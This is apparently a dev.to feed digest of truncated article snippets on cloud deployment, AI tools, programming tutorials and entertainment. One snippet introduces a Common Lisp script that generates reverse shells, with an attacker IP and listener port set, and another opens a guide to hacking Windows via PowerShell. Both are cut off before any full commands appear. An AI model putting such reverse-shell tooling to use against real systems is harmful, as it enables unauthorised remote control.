    In this workshop, I will guide you step by step how to build a Blue-Green deployment pipeline with AWS pipeline and deploys on AWS ECS with EC2. This deployment strategy helps teams to first test an app while routing traffic to a non-prod route, when confirmed that the app functions as expected, then the traffic is routed to prod. In case of any failure, a rollback is initiated for the previously working version hence avoiding downtime. The Infrastructure consists of an Application Load Balancer which exposes the app on Port 80, routes traffic to the autoscaling group managed by ECS, a fleet of EC2 instances running in two AZs for High availability. Each of these instances have ECS agent installed and the necessary software for running our Docker containers. These interact with Aurora Po…  ( 20 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    The 2025 Advantage: Multi-Stack + UX Thinking + AI Automation
    The dev ecosystem is shifting fast. This blend is helping teams ship better products with fewer bottlenecks - and developers who embrace it are becoming the new industry leaders.  ( 6 min )
    Introducing Nano Banana Pro: Complete Developer Tutorial
    You loved Nano-Banana? Created figurine images of all your friends and ghost face behind all your foes? Here now comes the not-so-nano "Gemini 3 Pro Image" model, that you will all prefer calling Nano Banana Pro! While the Flash model (Nano Banana) brought speed and affordability, the Pro version introduces "thinking" capabilities, search grounding, and high-fidelity 4K output. It's time to go bananas with complex creative tasks! This guide will walk you through the advanced features of Nano Banana Pro using the Gemini Developer API. This guide will cover: Using Nano Banana Pro in Google AI Studio Project setup Initialize the Client Basic Generation (The Classics) The "Thinking" Process Search Grounding High-Resolution 4K Generation Multilingual Capabilities Advanced Image Mixing …  ( 22 min )
    Como apago por completo el autocompletado de VS Code
    Sí, ese soy yo y se preguntarán... Sé que luego de leer el título lo que en verdad se preguntan es "Y quién quiere hacer eso?" Y más en esta época de IAs escribiendo proyectos completos. Bueno, yo, ¿por qué? Por lo que ustedes también saben, me la paso más tiempo borrando y cuidándome de no tocar Tab o Enter o flecha derecha que escribiendo. Así que investigue eso, fin. estos son los que me molestaban a mí, al menos. { "editor.inlineSuggest.enabled": false, "editor.hover.enabled": false, } pero si quieren saber mas Desactivar las sugerencias de autocompletado (IntelliSense) Abre Settings (Ctrl + ,). Busca: "suggest" Desactiva: Editor: Quick Suggestions Editor: Suggest On Trigger Characters Editor: Accept Suggestion On Enter Editor: Suggest Show Words Editor: Snippet Suggestions…  ( 7 min )
    Introducing nenv — A portable, per-project Node.js runtime for Windows (no global install required)
    Most of us have dealt with Node.js version conflicts at some point: One project needs Node 18. Another needs Node 20. A global upgrade breaks something. Corporate or restricted laptops don’t allow installers. CI/CD behaves differently from local environments. Teammates run “slightly different” versions and bugs magically appear. On Linux/macOS, tools like nvm, asdf, volta, and fnm help… So I started experimenting with a simple idea: What if every project had its own Node.js runtime, completely local, portable, and isolated? Just like Python has .venv. That experiment grew into a small open-source tool called nenv. 🚀 nenv — Portable Node.js per project (Windows) nenv is a lightweight script that downloads Node.js directly into your project folder and makes all Node/npm commands use that lo…  ( 7 min )
    When Heaven Teaches You How to Live: A Deep Journey Through Matthew Chapter 6
    There are chapters in Scripture that read like lightning—bright, sudden, unforgettable. Matthew 6 is rain. It is the quiet voice of Jesus calling us into a life not built on fear… This chapter is not a suggestion; it’s an invitation. Matthew 6 is the moment Jesus turns our gaze away from what the world values and lifts it toward what Heaven treasures. It is the chapter where He teaches us how to breathe. It is the chapter where He shows us how to pray. It is the chapter where He tells us why fear dies in the presence of trust. And it is the chapter where He reveals what it means to seek first the Kingdom—not as a slogan, not as a verse we memorize, but as a lifestyle that rearranges the architecture of our entire inner world. This article is a slow walk through that holy terrain. You are n…  ( 12 min )
    Building an AWS-Based RAG Pipeline
    The Generational AI Blind Spot We've got a fantastic new AI coding assistant, but when you ask it about your company's proprietary service architecture, it gives you a generic shrug (or worse, a confident hallucination). Why? Because our AI lives on the general internet, and our team's hard-won knowledge is locked behind firewalls and scattered across tools like Confluence, Slack, and internal documentation. This is a pain point for everyone. As a service developer, we need that agent to understand the nuance of our codebase and team conventions. As a service operator, we can't afford to waste time retracing the steps of a solved production issue - we need the fastest, most reliable fix, instantly. If you're interested in how to systematically manage context for AI coding assistants, che…  ( 9 min )
    The Monolith Strikes Back: When a Monolith Still Beats Microservices
    Here are the moments where a monolith still wins without breaking a sweat: When you spend more time stitching services together than building actual features. When a simple bug fix turns into a safari across eight repos, three pipelines, and a trace ID longer than your weekend. When your “independent deployments” still require team-wide coordination because the contracts can’t sit still. When your startup is running nine services at 50 RPS total and the DevOps bill looks like you're streaming Netflix in 16K. When onboarding a new developer requires a 40-minute architecture TED Talk and a whiteboard marker that gives up halfway. In those moments, a clean, modular monolith starts looking less like nostalgia and more like high-performance strategy. A monolith gives you focus, speed, and clarity. Microservices give you scale and autonomy, but only when you genuinely need them and you're ready to pay the operational tax. Real architectural leadership isn't about chasing trends. It's about aligning tech choices with your team’s execution capacity and your product's actual trajectory. The monolith isn't outdated. It's the adult in the room. I come in peace!  ( 6 min )
    Python by Structure - Class-Based Decorators That Remember
    Timothy was reviewing a performance monitoring system when he stopped on an unfamiliar pattern. "Margaret, this decorator isn't a function - it's a class. I've only ever seen decorators written as functions." Margaret looked over. "Class-based decorators are powerful when you need your decorator to maintain state. What are you looking at?" class CallCounter: """A decorator class to count function calls.""" def __init__(self, func): self.func = func self.count = 0 def __call__(self, *args, **kwargs): self.count += 1 print(f"-> Calling {self.func.__name__}. Call count: {self.count}") return self.func(*args, **kwargs) @CallCounter def process_data(data): """Processes the input data.""" return data.upper() print(process_data("hello…  ( 8 min )
    Payra WooCommerce Plugin Updated — New Branding and Improved Media
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    How We Use AI as Software & Cloud Engineers
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    Most Affordable AI Rank Tracking Tools
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    A practical guide to refactoring complex database queries in Laravel
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    How Becoming a Parent Helped Me Notice the Small Things
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Asking n People (n Generative AI Models) Simultaneously
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    Combine retry feature and logging in second issue
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    I Built a WebSocket Server to Stream iPhone LiDAR and IMU Data
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    Digital Sabbatical and Outernet (Bite-size Article)
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    Focus Tab: The Minimalist Browser Tool That Supercharges Your AI Workflow
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    Building a Process Injection Detector in Rust
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    Dear Developer: Your Database Isn't a File Cabinet!
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    ClausTk - A Tkinter library for creating New Year's and Christmas-themed interfaces
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    Top 5 AI Tools Every Developer Should Try in 2025
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    The Future of Messaging: Why Telegram Mini Apps Are Gaining Popularity
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    OSD600: Lab 9
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    Building forms using React Hook Form
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    Simply Docker Series (Ubuntu-Install)
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    A log system for the CLI tool
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    my understanding of crud applications,controllers, and middlewares.
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    Laeyrd - Create theme & customize VS Code without touching JSON 😁
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    I Built A Browser Extension That Save ChatGPT, Claude, Grok, DeepSeek & Gemini
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    How I Fixed a Confusing Bug in NumPy
    Contributing to a massive open-source project like NumPy can feel intimidating. You imagine complex C code, advanced math, and scary build processes. But sometimes, a bug is just a simple logic error hiding in plain sight. I just submitted a Pull Request to NumPy to fix a bug that was causing misleading error messages in numpy.convolve. Here’s the story of the bug, the fix, and how I verified it. "Wait, What?" numpy.convolve. You accidentally pass an empty array as your first argument, but your second argument is perfectly fine. import numpy as np a = np.array([]) # Empty! v = np.array([1, 2]) # Not empty! np.convolve(a, v) You would expect an error saying a cannot be empty, right? Instead, NumPy screams at you: ValueError: v cannot be empty Wait... what? I know v isn't empty. I …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful, in-depth breakdown from 8bitMusicTheory, showing you how a bright intro, bouncy verses, an ear-worm chorus, dynamic bridge, and triumphant final choruses all work together to feel so joyful. With clear timestamps (0:00–14:00) for each section, you can dive straight into the bits you love most. Along the way, you’re invited to support the creator on Patreon, grab some themed merch, join the Discord community, and follow on Twitter—because good game music is best enjoyed with friends. Watch on YouTube  ( 6 min )
    ChaosKit - Code-level Chaos Engineering for Go Applications
    Most chaos engineering tools operate at the infrastructure level: they kill containers, emulate network failures, or simulate CPU overload. But errors in application logic—infinite loops, goroutine leaks, unhandled panics—remain hidden. ChaosKit is a Go framework that brings chaos engineering to the code level. It allows you to inject failures directly into your program and verify the resilience of business logic, rollback mechanisms, and internal invariants. I recently developed floxy—a Saga workflow engine for Go that works as a library and manages complex step sequences with compensating rollbacks. Most errors in such systems aren't infrastructure-related but hidden in logic—like infinite rollback recursion, goroutine leaks during panics, or handler deadlocks. Standard chaos tools like …  ( 9 min )
    The 3 AM Bug That Taught Me More Than My Bachelor's Computer Degree
    When Everything Stopped Working Instead, I'm staring at my laptop screen, watching my movie The error message mocks me: "Cannot read property 'price' of undefined" I've been debugging this for 6 hours. SIX. HOURS. For context: I'm in my final year of BCA (Bachelor's in Computer I have a CGPA of 8.3/10. I'm a "good student." But none of that prepared me for this moment - sitting alone at This is the story of how one stupid bug taught me more about The App (And The Bug) The app was straightforward - a Flutter movie booking system for Browse movies Select theaters and showtimes Choose seats See total price Complete booking I'd been working on it for 2 months. Everything worked perfectly. Until I added ONE feature: "Early bird discount - 20% off for Suddenly, the app crashed whenever someo…  ( 11 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Gets the Rewatchables Treatment Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult comedy Weird Science, breaking down Anthony Michael Hall’s nerdy charm, Kelly LeBrock’s iconic supermodel, and all the sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—that make this flick a nostalgic must-watch. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode comes packed with laughs, behind-the-scenes tidbits, a State Farm shout-out, and friendly reminders to subscribe to The Ringer’s channels for more deep dives. Watch on YouTube  ( 6 min )
    Fixing Hallucinations in Gemini 3 Pro by Overriding RLHF Instincts
    We all know the feeling: you ask an advanced LLM (like Gemini 3 Pro) a specific technical question, and it confidently gives you a completely made-up answer. It hallucinates specs, libraries, or historical facts that simply don't exist. I’ve been stress-testing Gemini to understand why this happens even in high-tier models. My conclusion? It's not a bug in intelligence; it's a bug in alignment. Current models undergo rigorous RLHF (Reinforcement Learning from Human Feedback). During training, the model learns that "silence" or "I don't know" is often penalized, while a confident answer (even if slightly off) gets a reward. Effectively, the model develops a "survival instinct": To survive this interaction, I must satisfy the user. If I don't know the answer, I must invent one. Standard prom…  ( 8 min )
    Stop Wasting Hours Understanding Terraform Plans #terraform #devops #InfrastructureAsCode #VSCode
    Stop Wasting Hours Reading Terraform Plans: The One Tool Every DevOps Engineer Needs Published: November 20, 2025 Author: Ganesh Reading Time: 8 minutes Picture this: It's 4:45 PM on a Friday. You're about to deploy a critical infrastructure change to production. Your manager asks: "Can you quickly summarize what's changing?" You freeze. You open your terminal. Scroll through 500+ lines of Terraform plan output. Try to find the key changes buried in a sea of: # aws_security_group.app[0] will be updated in-place ~ resource "aws_security_group" "app" { id = "sg-0a1b2c3d4e5f" name = "app-security-group" ~ ingress { + cidr_blocks = [ + "10.0.1.0/24", ] - cidr_blocks = [ …  ( 13 min )
    How to Monitor Cost and Latency in Production LLM Systems
    TL;DR Monitoring cost and latency in production LLM systems requires end-to-end observability across prompts, tool calls, RAG retrieval, and model routing; unified machine + human evals to quantify ai quality; and governance at the ai gateway to enforce budgets, fallbacks, and load balancing. Instrument distributed agent tracing, define cost/latency SLOs, run automated evaluations on live traffic, and curate datasets from logs to drive continuous improvement. Use prompt versioning and llm router policies to stabilize performance envelopes, and adopt semantic caching where appropriate to reduce spend without degrading accuracy. For full-stack reliability, integrate Experimentation, Simulation & Evaluation, Agent Observability, and the Bifrost gateway. Start with clear reliability targets …  ( 8 min )
    The Runner Who Learned to Slow Down for Sunrise Photos
    I never planned on turning my morning runs into something soft or meaningful. I started running because I felt tired all the time, and someone online said running before work gave you energy. That wasn’t true for me. The first week, I felt like I was dragging my body through wet mud. My legs burned, my chest hurt, and I counted every second until I could stop. But I kept doing it for some reason — mostly stubbornness, maybe a tiny bit of hope. I always ran right at sunrise, because that was the only time my schedule allowed. The sky would still be a little dark when I stepped outside, and the air had that cold, sharp smell that wakes you up even if your brain isn’t ready. I’d put in my earbuds and try to force myself into a rhythm. But something strange kept happening. Even when my body wa…  ( 12 min )
    Exploring the Benefits of Synthetic Data Generation for AI Agent Evaluation
    TL;DR AI engineers and product teams need reliable, repeatable ways to assess agent behavior across complex, multi-turn workflows. Synthetic data generation creates task‑aligned examples programmatically—covering personas, scenarios, edge cases, and long‑tail failure modes—so teams can evaluate agents without waiting for scarce real data or risking sensitive information. Synthetic datasets unlock fast iteration for agent evaluation, llm evaluation, rag evaluation, and voice evaluation while preserving privacy and lowering operational cost. Synthetic data enables scale, coverage, and control for agent testing and model observability: Scale without privacy risk: Generate thousands of safe examples that reflect real tasks and constraints, enabling comprehensive agent evals across personas and…  ( 10 min )
    FYI: Paige Bailey (AI Developer Experience Lead at Deepmind) will be hosting a live demo and AMA on November 25th about Gemini 3
    Just saw this comment on the recent announcement from Google AI and thought I'd share in case anyone here is interested in joining: Jess Huang • Nov 20 If you're ready to get hands on, join us next Tuesday, November 25th to get direct insight into the new capabilities of Gemini 3. Paige Bailey, AI Developer Experience Lead at Deepmind, will be hosting a live demo and AMA. This is your opportunity to get direct, unfiltered answers from the team behind Gemini 3! Register here: goo.gle/Gemini3Forum Gemini 3 Announcement: Start building with Gemini 3 Logan Kilpatrick for Google AI ・ Nov 18 #gemini #ai #antigravity #vibecoding  ( 6 min )
    Check out the latest updates on my game.
    A new version of Momentum has been released, check it out here New level added: Wall climbing 101: this level introduces wall climbing but requries a mastery of momentum physics, and rope swinging to complete. Improved rope clinging, the rope no longer collides with the player itself when swinging. Implemented delta time, so the game should finally work on even the fastest machine. Added sound toggling icon.  ( 6 min )
    It’s Time to Move Your System to an ORM
    It should have been done long ago. Right at the moment you realized you’d be working with a database. Sure, adopting an ORM now is harder than doing it from day one, but it’s still not too late. Today I’m going to push my subjective, one-sided, and only correct opinion about why you need an ORM. There are contraindications for introducing an ORM into your project. Consult your common sense before applying. Yes, it feels amazing. You started a project the business has needed for years. Not a pet project, not a coursework exercise, an actual business project, funded, real, important. One that finally fixes the broken processes people have been suffering through for ages. You decided to help real humans who struggle with imperfect tools every single day. We, as engineers, really are wizards. …  ( 11 min )
    The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation
    Hey everyone! I'm Aleksandr Grigorenko, a frontend developer. Recently I’ve been working on a side project — an interactive educational platform for exploring the Web Audio API and the basics of digital sound processing and synthesis. On this platform, users will be able to solve challenges by writing JavaScript code directly in the browser in a built-in code editor. That code then runs inside an isolated environment — a sandbox — where user programs cannot affect the platform. When I started building the sandbox for my project, I quickly realized it was much more complicated than it looked at first. I tried several different approaches and kept running into the same thing: code isolation in the browser is far from straightforward, and most resources online only scratch the surface. This a…  ( 52 min )
    The Role Confusion: SRE vs Cloud vs Platform Engineer (And Why "DevOps Engineer" Misses the Point)
    If you've spent any time browsing tech job boards "lately" (by lately, read "in the recent years"), you've probably noticed a bewildering array of similar-sounding positions: Site Reliability Engineer, Cloud Engineer, Platform Engineer, DevOps Engineer and most recently DevSecOps Engineer and the aberration called DevSecFinOps (yes, saw it already twice!). The lines between these roles seem blurry at best, and completely arbitrary at worst. Let's untangle this mess and address why some of these titles fundamentally misunderstand what DevOps actually is. Before diving into specific roles, we need to address the elephant in the room: DevOps is not a job title and most companies still don't understand it. DevOps it's a cultural philosophy, a set of practices, and a movement aimed at breakin…  ( 9 min )
    Mastering Flutter Debugging: Visual Tools Every Developer 👩🏻‍💻Must Know
    🚀 Introduction Debugging UI layouts and performance issues in Flutter can be challenging, especially when widgets render unpredictably or performance drops without clear indicators. Fortunately, Flutter provides a powerful set of built-in visual debugging flags that help developers understand layout constraints, repaint behavior, gesture handling, accessibility, and rendering performance directly on the screen. This guide provides a practical reference to the most useful Flutter debugging commands—what they do, when to use them, and when to avoid them. Whether you’re fixing layout overflow, tracking excessive rebuilds, or improving performance, these tools will significantly speed up your workflow and improve your problem-solving efficiency. Use this cheatsheet anytime you need deeper v…  ( 10 min )
    I’m Building a Common Lisp Payload Generator
    I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me. A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers. So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live). #!/usr/bin/sbcl --script ;; payload.lisp – because why not write red-team tools in Lisp? (defparameter *lhost* "192.168.1.42") ; ← your attacker IP (defparameter *lport* "443") ; ← your listener port ;; Classic bash reverse shell – works on 99 % of Linu…  ( 11 min )
    Quick Recap: Caching in Java
    Caching stores frequently accessed data in memory to improve performance and reduce expensive calls (e.g., DB/API). It helps speed up applications and reduce load on resources. Java provides multiple ways to implement caching — from simple in-memory maps to production-grade caching frameworks. ✔ Improves performance ✔ Reduces DB/API calls ✔ Faster response times ✔ Better scalability ✔ Helps design high-performance systems Cache Type Description Example Use Case In-Memory Stored in JVM memory Java Map, LRU Cache Distributed Shared across servers Redis, Hazelcast Local + Remote Hybrid Ehcache with DB store Application-Level Annotations-based Spring Cache Map cache = new HashMap(); cache.put("user:1", "John"); cache.get("user:1"); // Fast lookup ⚠ Not th…  ( 7 min )
    Hack a Windows System Using PowerShell
    Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming: “I’m in.” If that is what inspires you to become a hacker, then you need to rethink your path immediately. The era of simple hacks based on weak passwords and sloppy scripts is long gone. Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove. In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world. Before we begin, here are the prerequisi…  ( 10 min )
    Slim shock : the index file
    I have soft launched my relational query package, but to put it through the ringer I wanted to use it in a website. You can think of situations and write tests, but the proof is in eating the pudding. So I started a new project and used the Slim skeleton for a quick setup. It is a while ago that I used Slim. You don't need to read the code below, it is just a visual aid. // Instantiate PHP-DI ContainerBuilder $containerBuilder = new ContainerBuilder(); if (false) { // Should be set to true in production $containerBuilder->enableCompilation(__DIR__ . '/../var/cache'); } // Set up settings $settings = require __DIR__ . '/../app/settings.php'; $settings($containerBuilder); // Set up dependencies $dependencies = require __DIR__ . '/../app/dependencies.php'; $dependencies($containerBuild…  ( 8 min )
    PHP on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – installation of Homebrew and asdf on Ubuntu PHP - Docs PHP - On DevDocs.io (ordered from lowest to highest learning curve) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Installation on Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Installation: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verify: composer --version Dependencies: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + version: asdf plugin add ph…  ( 7 min )
    Interactive maps with Leaflet.js
    ## Installation, Basic Map, Markers, and Layers: Getting Started with Interactive Maps In this post, we will explore the essential steps to create interactive maps, starting from scratch. We will cover the installation of a popular library, the creation of a base map, and the addition of important elements such as markers and layers. 1. Installing the Library The first step is to install the library we will use to build our maps. There are several options, but for this tutorial, we will use [Library name]. To install, open the terminal or command prompt and run the following command: pip install [library name] Replace [library name] with the actual name of the library (e.g., folium, leaflet, etc.). Wait for the installation to complete. 2. Creating a Basic Map With the library installed, …  ( 8 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast session, where the team clocks every nitpick of the new KPop Demon Hunters movie with their trademark humor and snark. They link to all their channels (TVSins, CommercialSins, CinemaSins Podcast Network), share a Linktree for updates, invite you to fill out a fun poll, and remind you that you can keep the sin machine running over on Patreon. The description also points you to their Discord, Reddit, Instagram, TikTok, and even Jeremy’s book, while crediting the squad of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Basically, if you love snappy film critiques and want to plug into all things CinemaSins, this is your one-stop gateway. Watch on YouTube  ( 6 min )
    Quick Recap: Maps in Java
    Java provides multiple Map implementations — each designed for different use cases such as fast lookups, sorted data, concurrency, or predictable order. Understanding their internal working helps in writing performant code. Map Type Ordering Thread-Safe Best For HashMap No order ❌ No Fast lookup LinkedHashMap Insertion order ❌ No Caching (LRU) TreeMap Sorted order ❌ No Range queries ConcurrentHashMap No order ✔ Yes Concurrent access Uses array + linked list / tree (red-black tree) Default capacity = 16, load factor = 0.75 Collisions handled using chaining Hashing Logic: index = hash(key) & (n - 1) // n = array size When collision occurs: Java 8+: if bucket size > 8 → converts list → tree (better performance) Time Complexity: Best For: Fast lookups, general-purpose sto…  ( 7 min )
    One-to-One in Doctrine: How One Wrong Line of Code Generated 40,000 Extra Queries Per Day
    A real-world debugging story - and the hidden mechanics behind Doctrine's 1:1 relations A few years ago, I was working on a high-traffic Symfony application. Lots of concurrent users, lots of read operations, performance carefully monitored. Everything seemed stable - until our database dashboards started showing something odd. Every single day, we were generating tens of thousands of redundant SELECTs. Just 40,000+ pointless queries. We dug into logs. Then into slow-query reports. Still nothing obvious. And then the profiler finally revealed the culprit: bidirectional One-to-One relation in Doctrine, configured on the wrong owning side. One annotation. One line of code. When we flipped the owning side to the entity we actually queried most often, the extra queries disappeared immediatel…  ( 9 min )
    Building an AI Study Buddy: My Journey with Google's AI Agents Course
    Introduction For my Capstone Project, I chose the Agents for Good track to solve a problem I face constantly: passive learning. The Problem: Studying is Passive The Solution: The AI Study Buddy Instead of just reading, users can: https://www.kaggle.com/code/anandk05/aibuddy-34 How It Works (The Architecture) 1. The Router Agent 🧠 If the user asks "What is...", it routes to the RAG Tool. If the user says "Quiz me...", it routes to the Quiz Generator. 2. Retrieval Augmented Generation (RAG) 📚 3. Self-Evaluation & Quality Control ✅ I implemented an Evaluator Tool that programmatically audits the generated quiz before showing it to the user. It checks: Is the question clear? If the quiz fails this check, the agent regenerates it. This ensures a high-quality experience for the student. What I Learned The most powerful concept I applied was Observability. By adding detailed logs (or "thought traces") to my code, I could watch the agent "think"—detecting intent, selecting tools, and evaluating its own work. It felt less like coding a script and more like teaching a digital employee. Demo https://youtu.be/FJjsLvuQJzI?si=IPlp8CdOlx-QhYwa Conclusion Building the AI Study Buddy showed me that we can use AI to make education more accessible and engaging. I'm excited to keep refining this agent and adding more tools in the future!  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 classic “Weird Science,” unpacking all the iconic ’80s vibes—from Anthony Michael Hall’s awkward teen energy to Kelly LeBrock’s bombshell arrival. Expect a deep (and delightfully off-color) look at the movie’s blend of sex, drugs, rock ’n’ roll and sci-fi gadgetry, plus plenty of nerdy trivia and behind-the-scenes anecdotes. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the conversation rolling while State Farm pops in to remind you about bundle savings. Subscribe to The Ringer channels for more movie breakdowns, and follow them across YouTube, Twitter, Facebook and Instagram for all the pop-culture goodness. Watch on YouTube  ( 6 min )
    Quick Recap: Design Patterns in Java (Real Examples)
    Design patterns provide reusable solutions to common software problems. Here’s a concise recap with actual Java / Spring framework examples — not generic ones. Singleton Ensures only one instance exists. / Real Example: Calendar calendar = Calendar.getInstance(); Runtime runtime = Runtime.getRuntime(); Used in logging, DB connections, cache managers. Factory Method Creates objects without exposing logic. // Example: Java Collections List list = List.of("A", "B"); // Java 9 Factory NumberFormat format = NumberFormat.getInstance(); Spring Example: BeanFactory.getBean("beanName") Builder Pattern Best for creating complex objects with many fields. // Example: StringBuilder String result = new StringBuilder() .append("Hello ") .append("World") .toString(); Also used in Lo…  ( 7 min )
    When a “Small” AI Model Pushes Your Hardware to Its Limits
    While building my ConversaAI web app, I started experimenting with a local AI model using Ollama, running the 𝗚𝗲𝗺𝗺𝗮 𝟯 (𝟭𝗕) model, a “lightweight” 𝟴𝟭𝟱 𝗠𝗕 model. But in practice… it’s a different story. Every time model started generating a longer response, 👇 Here’s the before-and-during-generating-longer-response comparison of hardware utilization. At first, I thought something broke. But the real reason was far more interesting. Even at 1B parameters, the model performs 𝗯𝗶𝗹𝗹𝗶𝗼𝗻𝘀 𝗼𝗳 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀 𝗽𝗲𝗿 𝘁𝗼𝗸𝗲𝗻. Every generated word triggers 𝗺𝗮𝘀𝘀𝗶𝘃𝗲 𝗺𝗮𝘁𝗿𝗶𝘅 𝗺𝘂𝗹𝘁𝗶𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀. The GPU handles the heavy computation, while the CPU manages data flow, scheduling, and memory movement. Meanwhile, RAM and VRAM temporarily hold weights, activations, and intermediate states. In simple terms: When GPU utilization peaks (95%), it produces heat rapidly. This throttling explains why the AI response halted and fan speed decreased shortly after. 📽️ Watch the video below that explains this situation. Hardware strain during model inference “Small” in AI doesn’t mean “light” for consumer hardware. So, even though my laptop is capable of running local inference, it has trouble maintaining it, particularly when the model needs to continue executing billions of operations per second for longer outputs. Running AI locally isn’t just about generating text. It teaches you how your CPU, GPU, RAM, and thermal system manage the workload of modern AI models in real time. Now, every time my laptop fan spins up, I know it’s just trying to think really hard. 😅 Did you ever run into a similar issue? If yes, how did you tackle it? If you found this post useful or learned something new, drop a ❤️ and share your thoughts in the comments. I’d love to hear your experience. Feel free to reach out on 💌 Email 💻 GitHub  ( 7 min )
    Google Play Store Analysis: Data-Driven Insights for App Launch Strategy
    Introduction Assumptions All analyses were performed using Python in Jupyter Notebook, utilizing functions such as load_dataset(), print_summarize_dataset(), clean_dataset(), and various histogram, heatmap, and scatter plot utilities. 🧪 1. Assumptions Download count is a proxy for market demand — higher installs indicate stronger user interest 🧹 2. Data Preparation & Cleaning Removed duplicates After cleaning, the dataset was ready for rigorous analysis. 📈 3. Experiments & Visualizations 3.2. Most Popular Genres Within Paid Family Apps Education dominates the paid Family segment with the largest share This shows parents are willing to pay premium prices for educational content that benefits their children's development. 3.3. Installations per Category Communication, Social, Tools, V…  ( 9 min )
    QuickJot: A Micro-Note Network Built for Frictionless Idea Sharing
    Introduction In an era of information overload and overcomplicated tools, QuickJot offers a refreshing alternative: a minimalist micro-note network that enables instant idea sharing through nothing more than a 6-character key. No accounts. No authentication barriers. No friction. QuickJot demonstrates that powerful solutions don't require complex infrastructure or significant investment. Built entirely on free-tier cloud services, it serves as both a practical tool and a proof-of-concept for developers exploring cost-effective full-stack architecture. Live Application: quickjot-kqo6.onrender.com GitHub Repository: github.com/hejhdiss/QuickJot License: GPLv3 (Open Source) Modern note-taking and sharing tools often introduce unnecessary complexity: Mandatory account creation Email verifi…  ( 8 min )
    Expert Plumbing & Heating Services in Bolton
    Reliable Plumbing Solutions in Bolton: Farworth Plumbing delivers expert bathroom and shower installations, radiator fitting, leak detection, and rapid pipe repairs. Skilled engineers ensure quality workmanship, efficient systems, and dependable service across the region—always ready to help. Bathroom-Installation-Bolton Shower-Installation-Bolton Radiators-Installation-Bolton Burst-Pipe-Repairs-Bolton Leaks-Detection-Bolton  ( 6 min )
    onclick和addEventListener、inset
    onclick和addEventListener onclick = ... 只能设置一个处理函数。 如果你写多次,后面的会覆盖前面的。 mini.onclick = () => console.log('A'); mini.onclick = () => console.log('B'); // 最后只有 B 有效 可以对同一个事件添加多个监听器,不会互相覆盖。 mini.addEventListener('click', () => console.log('A')); mini.addEventListener('click', () => console.log('B')); // A 和 B 都会执行 inset 是 CSS 中用来设置元素“定位偏移”的简写属性,等同于同时设置: top right bottom left 它主要用于 绝对定位 / 固定定位 / 相对定位 的元素(position: absolute / fixed / relative / sticky)。 inset 的语法支持 1~4 个值: inset: ; 或者简写方式 写法 展开含义 inset: 10px; top=10px, right=10px, bottom=10px, left=10px inset: 10px 20px; top=10px, bottom=10px, right=20px, left=20px inset: 10px 20px 30px; top=10px, right=20px, left=20px, bottom=30px inset: 10px 20px 30px 40px; top=10px, right=20px, bottom=30px, left=40px  ( 6 min )
    Let Your AI Build Nova Poshta Integrations in Minutes
    🚀🚀🚀 We’re very excited to introduce Nova Poshta MCP Server — a developer-first way to let your AI 🤖 talk to the real Nova Poshta API without living in the docs. Built for AI assistants and dev workflows with AI agents. ✨✨✨ When a project gets the task “integrate Nova Poshta delivery”, technically everything is already clear: there’s the official Nova Poshta API, there are request examples, there are dozens of existing integrations. But in practice, every time it comes down to the same things: remembering which method is responsible for tracking; not mixing up fields when creating an express waybill; building the right filters for branches; figuring out why a “successful” response still returns no data. Even if you already use AI assistants (Cursor, Claude, OpenAI, etc.), they often ha…  ( 9 min )
    Claude Code Will Be As Good As You Are
    Over the past few months, I've been living in Claude Code. I'm talking about serious, production-level work—building new services, refactoring legacy systems, rebuilding our integration test infrastructure from scratch. If I'm being honest, over 80% of the code I've shipped in that time was generated by AI. But here's what nobody tells you: AI-generated code isn't replacing my engineering skills. It's amplifying them. And more importantly, it's exposing every gap in my own thinking. The code Claude produces will only be as good as the design you drive it toward. After months of experimentation—vibe coding, setting draconian rules, trying every configuration imaginable—I've learned that great AI-assisted development isn't about prompting harder. It's about thinking better. When I first star…  ( 11 min )
    Running Firefox in Docker? Yes, with a GUI and noVNC!
